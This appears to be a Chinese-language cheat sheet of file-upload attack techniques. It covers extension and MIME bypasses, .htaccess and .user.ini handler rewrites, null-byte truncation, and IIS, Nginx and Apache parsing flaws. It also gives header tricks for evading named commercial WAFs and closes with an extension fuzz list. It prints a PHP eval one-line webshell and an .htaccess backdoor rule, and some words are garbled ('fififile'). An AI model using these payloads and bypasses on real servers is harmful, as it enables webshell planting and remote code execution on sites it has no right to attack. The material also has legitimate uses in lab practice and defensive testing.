很久之前總結的,忘記參考哪些文章了。
如有參考,請評論后我添加。
漏洞產生原因
由於文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型, 導致攻擊者能夠向某個可通過 Web 訪問
的目錄上傳惡意文件,並被腳本解析器執行,這樣就可以在遠程服務器上執行惡意腳本
靶場:
https://github.com/c0ny1/upload-labs
常見的文件檢測方式以及繞過
前端JS檢測:
繞過方式:
在前端頁面修改JS上傳
抓包工具攔截后修改后綴名上傳
MIME檢測:
對Content-Type進行了檢測
繞過方式:
抓包工具攔截 修改Content-Type為合法上傳文件類型 例如img/gif
文件后綴名黑名單檢測:
繞過方式:使用其他可解析的后綴繞過
利用windows特性繞過:
加空格繞過:
當黑名單中限制上傳.php后綴的文件時 我們可以上傳test.php+空格 這時服務器獲取到的后綴是.php+空格 不再黑名
單中 上傳成功。由於windows文件系統的特性 在生成的test.php+空格=test.php
->
加點繞過:
當黑名單中限制上傳.php后綴的文件時 我們可以上傳test.php. 這時服務器獲取到的后綴是空 不在黑名單中 上傳成功
由於windows文件系統的特性 在生成的test.php.=test.php
->
::$DATA繞過:
ADS是nfts磁盤格式的一個特性 由於NTFS交換數據流 在上傳文件時 如果系統對請求正文的filename匹配不當的話可能
會導致繞過
在php環境下可以上傳test.php::$DATA
例:
Linux也可利用系統本身的命名規則繞過:
linux命名規則
1、文件名最大長度為255
2、全路徑長度最大為4096(16級最大文件長度)
3、區分大小寫
4、除“/”之外所有字符都可以使用
5、linux不以文件擴展名區分文件類型,對linux來說一切皆文件。
后綴名fuzz字典:
upload-fuzz-dic-builder 上傳漏洞fuzz字典生成腳本
https://github.com/c0ny1/upload-fuzz-dic-builder
后綴名雙寫繞過:
123. pphphp->123.php
.htaccess繞過:
.htaccess是apache服務器中的一個配置文件 它負責相關目錄下的網頁配置 通過htaccess文件 可以幫我們實現:網頁
301重定向 自定義404錯誤頁面 改變文件拓展名 允許/組織特定的用戶或者目錄的訪問 禁止目錄列表 配置默認文檔等功
能。
上傳覆蓋.htaccess文件,重寫解析規則,將上傳的帶有腳本馬的圖片以腳本方式解析。
繞過方式:
上傳.htaccess:
格式說明:AddHandler(空格) 文件MIME類型 (空格)文件格式(要帶“.”,不含引號)
AddType application/x-httpd-php .jpg
所有jpg文件以php解析
也可以用來留后門:
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
加入該php解析規則 所有文件名包含1的的文件都會以php執行
123456.jpg
00截斷繞過:
Chr(charcode) 返回與指定的 ASCII 字符代碼相對應的字符
從 0 到 31 的數字表示標准的不可打印的 ASCII 代碼
通過查ASCII碼表知 0 = NULL(空) chr(0)表示字符串結束
00截斷常見的有%00、0×00等,他們都是表示ascii字符表中的保留字符chr(0)。
不管表示編碼方式有啥區別,只要能讓服務器正確解析為chr(0)就行。
00截斷的原理:chr(0)表示結束。
限制條件:
小於php5.3.4 小於jdk1.7.0_40
未過濾chr(0),例如magic_quoes_gpc為offff
0X00繞過:
在上傳的時候,當文件系統讀到【0x00】時,會認為文件已經結束。利用00截斷就是利用程序員在寫程序時對文件的上
傳路徑過濾不嚴格,產生0x00上傳截斷漏洞。
利用方式
修改完后文本變化:
%00截斷:
php版本小於5.3.42.
php的magic\_quotes\_gpc為OFF狀態
當程序在輸出含有 chr(0)變量時 chr(0)后面的數據會被停止,誤把它當成結束符,后面的數據直接忽略,這就導致漏洞
產生
利用方式:../../1.php%00.jpg
使用POST方式提交的時候 需要對%00進行URL編碼
這里對%00進行了url編碼
圖片渲染繞過:
圖片每隔幾行插上一些內容 上傳 下載后對比
若部分渲染 則可在可插入部分上傳圖片馬
關於怎么制作過二次渲染的圖片馬,此處參考
https://xz.aliyun.com/t/2657
https://secgeek.net/bookfresh-vulnerability/
或者,直接用別人做好的圖片馬
https://github.com/Yang1k/upload-labs-Pass16
條件競爭:
文件先經過保存 然后判斷后綴名是否在白名單中 如果不在則刪除 此時可以利用條件競爭在保存文件后刪除文件前來執
行php文件
繞過方法:利用burp的爆破功能 不斷發送上傳包和請求包
.user.ini繞過:
漏洞利用:
前提 所上傳文件夾下有正常的php文件
上傳.user.ini文件
.user.ini內容:auto_prepend_fifile=01.gif
上傳馬子 <?php @eval($_REQUEST[shell]); ?> 后綴名改為01.gif
訪問同目錄下php文件 包含上傳的馬子 進行解析 http://www.xxx.com/../../echo.php?shell=phpinfo();
漏洞原理:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
GIF89a繞過:一個GIF89a圖形文件就是一個根據圖形交換格式(GIF)89a版(1989年7 月發行)進行格式化之后的圖形。
利用文字頭欺騙繞過簡單的waf
利用方式:
木馬執行語句前加上gif89a 修改后綴為圖片格式
IIS解析漏洞
IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字符串, 那么這個目錄下所有的文件都會按照
asp去解析,另一個是只要文件名中含有".asp;" 會優先按asp來解析
1. 上傳shell.txt 訪問../../1.asp/shell.txt
2. 上傳test.asp;.jpg 訪問
IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意文件名只要在URL 后面追加上字符串"/任意文件
名.php"就會按照php的方式去解析;
利用方式:上傳shell.jpg 訪問shell.jpg/xx.php
Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php 描述:目前Nginx主要有這兩種漏洞,一個是對任意文件
名,在后面添加/任意文件名.php 的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。 還有
一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。
此解析漏洞其實是php的配置錯誤導致。
php為了支持path info模式創造了fifix_pathinfo這個選項,當它被打開時,fpm(FastCGI 進程管理器(FPM)
https://www.php.net/install.fpm)就會判斷請求的文件是否存在,如果不存在就去掉最后一個\開始的內容,再次
查看文件是否存在,不存在再去掉從\開的內容,循環往復。所以當請求
http://192.168.1.100/admin/upload/shell.jpg/.php這么個文件時,fpm會把/.php去掉把shell.jpg當作php執行。
后來出現了seccurity.limit_extensions選項,這個選項默認配置.php文件才能被fpm執行。
利用條件:
1、fast-cgi模式運行
(通用網關接口,它是一段程序,運行在服務器上,提供同客戶端HTML頁面的接口,通俗的講CGI就像是一座橋,把網頁
和WEB服務器中的執行程序連接起來,它把HTML接收的指令傳遞給服務器,再把服務器執行的結果返還給HTML頁;用
CGI可以實現處理表格,數據庫查詢,發送電子郵件等許多操作,最常見的CGI程序就是計數器。CGI使網頁變得不是靜態
的,而是交互式的。)
2、Fix_pathinfo為1 (默認為1)
3、seccurity.limit_extensions選項允許。(默認只解析.php)
需要修改www.conf((/etc/php-fpm.d/www.conf))
1. 上傳test.jpg 訪問test.jpg/.php
2. 上傳test.jpg 訪問test.jpg%00.php
Apache解析漏洞
首先,對於Apache服務器來說,哪些后綴可以被解析是由什么決定呢?
apache中有一個關於php的默認配置文件(http.conf),其中用正則指定了哪些后綴使用哪些解析器。如圖:
apache解析又一個特點,解析文件時是從右往左判斷,遇到不認識的后綴時,就跳過,於是就有了類似於“.php.123”這
種繞過方式。
但是從上圖可以看到,這種方式在這種配置情況下是行不通的,但是在“CVE‐2017‐15715”中提到了可以使用%0a繞過,
因為在上面正則中“.php$”代表以“.php”結尾或者“以.php”結尾加換行,可是一般情況下程序員獲取文件后綴時會
使用“$_FILES[‘fifile’][‘name’]”,它會自動過濾掉換行,這就讓這個漏洞顯得有些尷尬了。
大多情況下,我們遇到apache解析漏洞的是配置錯誤導致的,比如下面這條語句。
這種情況下,只要文件后綴包含“php”關鍵字,文件就會被作為php來解析。
利用方式:
1. 一個文件名為test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,如果x3不屬於apache能夠解析的擴展名,那么
apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。
test.php.hack->test.php 自右向左解析
2. CVE-2017-15715,httpd 解析漏洞
上傳一個文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來繞過一些黑
名單過濾。
上傳111.php->hex模式下添加\x0A
圖片馬合而成:
copy 1.jpg /b + 2.txt /a 3.jpg
3.對WAF的一些繞過姿勢
安全狗繞過
繞過思路:對文件的內容,數據。數據包進行處理。
Content-Disposition: form-data; name="file"; filename="ian.php"
將form-data; 修改為~form‐data;
通過替換大小寫來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream
將Content-Disposition 修改為content‐DisposiƟon 將 form‐data 修改為Form‐data 將 Content‐Type 修改為content‐Type
通過刪減空格來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將Content-Disposition: form-data 冒號后面 增加或減少一個空格 將form‐data; name="fifile"; 分號后面 增加或減少一個
空格
將 Content-Type: application/octet-stream 冒號后面 增加一個空格
通過字符串拼接繞過
Content-Disposition: form-data; name="file"; filename="yjh3.php"
將 form-data 修改為 f+orm‐data 將 from‐data 修改為 form‐d+ata
雙文件上傳繞過
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐
data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE"
class="tx1" size="40"> <input type="submit" name="Submit" value="上傳"> </form>
HTTP header 屬性值繞過
Content-Disposition: form-data; name="file"; filename="yjh.php" 我們通過替換form‐data 為*來繞過 Content‐
DisposiƟon: *; name="fifile"; fifilename="yjh.php"
HTTP header 屬性名稱繞過
源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type:
image/png
繞過內容如下: Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意,雙引號要跟着c.php".
等效替換繞過
原內容: Content-Type: multipart/form-data; boundary=---------------------------471463142114 修改后:
Content‐Type: mulƟpart/form‐data; boundary =‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐471463142114 boundary后面加入空格。
修改編碼繞過
使用UTF-16、Unicode、雙URL編碼等等
WTS-WAF 繞過上傳
原內容: Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回車 Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度雲上傳繞過
百度雲繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成
圖片馬用Xise連接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里雲上傳繞過
源代碼: Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type:
image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
沒錯,將=號這里回車刪除掉Content‐Type: image/jpeg即可繞過。
360主機上傳繞過
源代碼: Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-
Type: image/png
繞過內容如下: Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改為 Content‐空格DisposiƟon
CONTENT-LENGTH繞過
針對這種類型的驗證,我們可以通過上傳一些非常短的惡意代碼來繞過。上傳文件的大小取決於,Web服務器上的最大
長度限制。我們可以使用不同大小的文件來fuzzing上傳程序,從而計算出它的限制范圍。
文件內容檢測繞過
針對文件內容檢測的繞過,一般有兩種方式, 1.制作圖片馬 2.文件幻術頭繞過
垃圾數據填充繞過
修改HTTP請求,再之中加入大量垃圾數據。
文件后綴名fuzz字典:
aSaaSax
aScx
aShx
aSmx
cEr
sWf
swf
htaccess
html
htm
phtml
pht
phtml
pHp
pHp5
pHp4
pHp3
pHp2
Html
Htm
pHtml
jsp
jspa
jspx
jsw
jsv
jspf
jtml
jSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp
aspx
asa
asax
ascx
ashx
asmx
cer
aSp
aSpx
php
php3
php4
php5
inc
pHtml
pHp
pHp3
pHp4
pHp5
iNc
iNc%00
iNc%20%20%20
iNc%20%20%20...%20.%20..
iNc...... inc%00 inc%20%20%20
inc%20%20%20...%20.%20..
inc......
pHp%00
pHp%20%20%20
pHp%20%20%20...%20.%20..
pHp......
pHp3%00
pHp3%20%20%20
pHp3%20%20%20...%20.%20..
pHp3...... pHp4%00
pHp4%20%20%20
pHp4%20%20%20...%20.%20..
pHp4......
pHp5%00
pHp5%20%20%20
pHp5%20%20%20...%20.%20..
pHp5......
pHtml%00
pHtml%20%20%20
pHtml%20%20%20...%20.%20..
pHtml......
php%00
php%20%20%20
php%20%20%20...%20.%20..
php......
php3%00
php3%20%20%20
php3%20%20%20...%20.%20..
php3......
php4%00
php4%20%20%20
php4%20%20%20...%20.%20..
php4......
php5%00
php5%20%20%20
php5%20%20%20...%20.%20..
php5......
phtml%00
phtml%20%20%20
phtml%20%20%20...%20.%20..
phtml......